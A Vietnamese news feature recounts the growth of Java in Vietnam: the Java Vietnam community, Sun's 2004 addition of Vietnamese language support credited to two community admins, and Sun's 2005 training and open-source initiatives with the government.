Nay Sun tiếp tục duy trì đà tăng trưởng của Java với việc phát triển thành ba nền tảng công nghệ chuyên sâu ứng dụng trên các môi trường khác nhau: destop (ứng dụng J2SE), doanh nghiệp (J2EE) và thiết bị cầm tay (J2ME). Đây được coi như những “nhánh con” trong “thân cây” Java, và điều này cũng giúp Sun đạt được những bước tiến mới, đa dạng hơn những lựa chọn về học tập của người đến với Java.

Đưa Java vào tiếng Việt

Trên thế giới, Java được đánh giá là “đã trở thành chiếc cầu nối hiệu quả từ những cơ sở dữ liệu lớn đến các máy chủ trên mạng và đang là phương tiện lập trình được ưa chuộng cho các ứng dụng trên ĐTDĐ và trong công nghiệp trò chơi điện tử”, những điều này  gắn liền với tên tuổi của Sun. Tại Việt Nam, ngôn ngữ Java cũng ngày càng trở nên thân thuộc với CNTT Việt Nam, đặc biệt khi Sun tuyến bố tích hợp thành công tiếng Việt vào ngôn ngữ Java, thì gắn với đó là một cái tên đang ngày càng trở nên thân thuộc: Cộng đồng Java Vietnam. Riêng quá trình thuyết phục hãng Sun để đưa Java vào tiếng Việt cũng là một câu chuyện với đủ “ngọt, đắng” – như ly cafe tỏa khói – biểu tượng của Java và quá trình phát triển thăng trầm mà Java đã trải qua…

AM 534994 gi đến 996 để nhn ảnh này

Các thành viên JavaVietnam vui cùng các chuyên gia của Sun trong Lễ kỉ niệm 10 năm Java

Java Vietnam là cộng đồng gồm những lập trình viên, sinh viên CNTT và các đối tượng liên quan người Việt Nam yêu thích công nghệ Java, có website chính thức là diễn đàn www.JavaVietnam.org. Cộng đồng thành lập ngày 14/4/2003 từ ý tưởng của Phạm Công Định và nhóm MyVietnam.net.

Javavietnam.org hoạt động với tôn chỉ trở thành một hiệp hội hoạt động chuyên nghiệp trong việc khuếch trương và đào tạo công nghệ Java một cách toàn diện tại Việt Nam. Diễn đàn đang sử dụng hệ thống phần mềm mã nguồn mở mvnForum và nền tảng mvn CMS do Công ty phần mềm Hữu Ngọc phát triển. Diễn đàn ra đời sau gần môt năm, nay có trên 12.000 thành viên, thể hiện vai trò là cầu nối đưa Java vào các ứng dụng ở Việt Nam.

Một sự kiện được coi là “cơn địa chấn” lúc bấy giờ là ngày 5/2/2004, Sun Microsystems công bố đã tích hợp thành công tiếng Việt vào ngôn ngữ Java. Đây là thành công chung của cộng đồng Java Vietnam, trong đó có vai trò quan trọng của hai người bạn Nguyễn Ngọc Minh và Nguyễn Hữu Mai.

Hai thành viên đồng sáng lập công ty Hữu Ngọc, đồng thời là admin của Diễn đàn Java Vietnam đã nỗ lực không mệt mỏi trong việc thưc hiện một việc tưởng như không tưởng: thuyết phục Sun đưa tích hợp tiếng Việt cho Java ngay cả khi ở Việt Nam còn ít người dùng Java (trong khi đó Sun đã hỗ trợ nhiều ngôn ngữ châu Á khác như Nhật Bản, Trung Quốc, Thái Lan…). Thành công của Mai và Minh sau này đã đưa họ đến với danh hiệu cao quý Hiệp sĩ CNTT 2005 (Lễ vinh danh đã diễn ra vào ngày 14/8/2005 tại Nhà hát Lớn Hà Nội).

Theo Minh và Mai, việc Sun hỗ trợ tiếng Việt đầy đủ cho Java sẽ kép theo nhiều lợi ích: Nếu phần mềm Java có sẵn tiếng Việt sẽ đỡ phải viết hỗ trợ tiếng Việt riêng cho mỗi ứng dụng. Tránh hiểu lầm về thời gian theo cách ghi ngày tháng quốc tế. giải quyết sẵn các bài toán khó trong tiếng Việt như việc sắp xếp, các kiểu nhập liệu bàn phím khác nhau. Sản phẩm Java dễ được thị trường chấp nhận với ngôn ngữ Việt gần gũi. Các ứng dụng HUI (giao diện người dùng) không phải lo về việc hiển thị font tiếng Việt nếu đã được hỗ trợ.

Sun và con đường Java Việt Nam

AM 534357 gi đến 996 để nhn ảnh này
TS Đỗ Văn Lộc trình bày về Mã nguồn mở và vai trò của Java tại Ngày hội Công nghệ Java (30/8/2005)

Tại Ngày hội Công nghệ Java (Java Technology Day) vừa diễn ra hôm 30/8/2005 tại Hà Nội, Sun Microsysstems và Cộng đồng Java Vietnam đã công bố kế hoạch phát triển trong thời gian tới.

Sun bắt đầu xúc tiến 3 chương trình hợp tác với Chính phủ Việt Nam trong những sáng kiến chung như: Thiết lập chương trình đào tạo sau đại học về Java nhằm phát triển công nghệ J2EE trong đội ngũ các nhà phát triển phần mềm; xây dựng Trung tâm Mã nguồn mở và tạo ra các diễn đàn công nghệ Java trong nước để xây dựng năng lực về lập trình trên nền tảng Solaris và Java.

Tiến sĩ Đỗ Văn Lộc, Chánh Văn phòng CNTT, Bộ KHCN đánh giá: việc phát triển phần mềm mã nguồn mở với vai trò của Java thực sự là “cơ hội cho sự sáng tạo”. Ông Lộc cũng cho biết, Bộ KHCN đang triển khai dự án tổng thể phần mềm mã nguồn mở Việt Nam. Tháng 8 năm 2005, tại Hải Phòng, chủ đề mã nguồn mở (phát triển trên công nghệ Java) đã được nhắc tới trong Hội thảo Quốc gia lần thứ 8 về CNTT và truyền thông.

Công ty Alliant, một đối tác của Sun tại Việt Nam, cho biết: Sun Microsystems đã chính thức hợp tác cùng Alliant và cho ra mắt Trung tâm Ủy quyền đào tạo tại khu vực phía Bắc. Cả hai đặt mục tiêu phát triển cộng đồng Java đạt 100.000 lập trình viên Java vào năm 2010 ở Việt Nam, đồng thời kết nối cộng đồng này với 4,5 triệu lập trình viên Java trên thế giới.

Được biết, trước đó, Sun Microsystems, Cộng đồng Java Vietnam cùng nhiều đơn vị khác đã tổ chức nhiều hoạt động để thúc đẩy sự phát triển của Java tại Việt Nam: Hội thảo kỉ niệm 10 năm ngôn ngữ Java (tại TP. HCM, tháng 5/2005), Hội thảo Java – xu hướng phát triển và các ứng dụng tại Việt Nam (năm 2003), hỗ trợ kỹ thuật trong cuộc thi Lập trình Games và ứng dụng cho ĐTDĐ  Mobile Games 2004 và 2005…

Như thế, hành trình phát triển của ngôn ngữ Java nói chung và chặng đường của Sun, Java tại Việt Nam đã chứng minh sự kết hợp của ý tưởng và công nghệ mới sẽ tạo ra những bước phát triển mới. Sự quyết tâm và tinh thần đoàn kết trong cộng đồng CNTT Việt Nam đã thuyết phục được Sun ra quyết định tích hợp cho Java thêm ngôn ngữ Việt. Nói như Minh và Mai, những chàng trai thắp lên hơi ấm và góp nên hương vị ngọt ngào cho “tách cafe” Java Vietnam: “Chỉ cần tìm ra hướng đi chung, chúng tôi tin tưởng vào sự phát triển lâu dài của Java ở Việt Nam. Va chặng đường ấy còn ở phía trước”.

  • Bùi Dũng

http://www.java2s.com/Code/Java/Development-Class/COM-Port.htm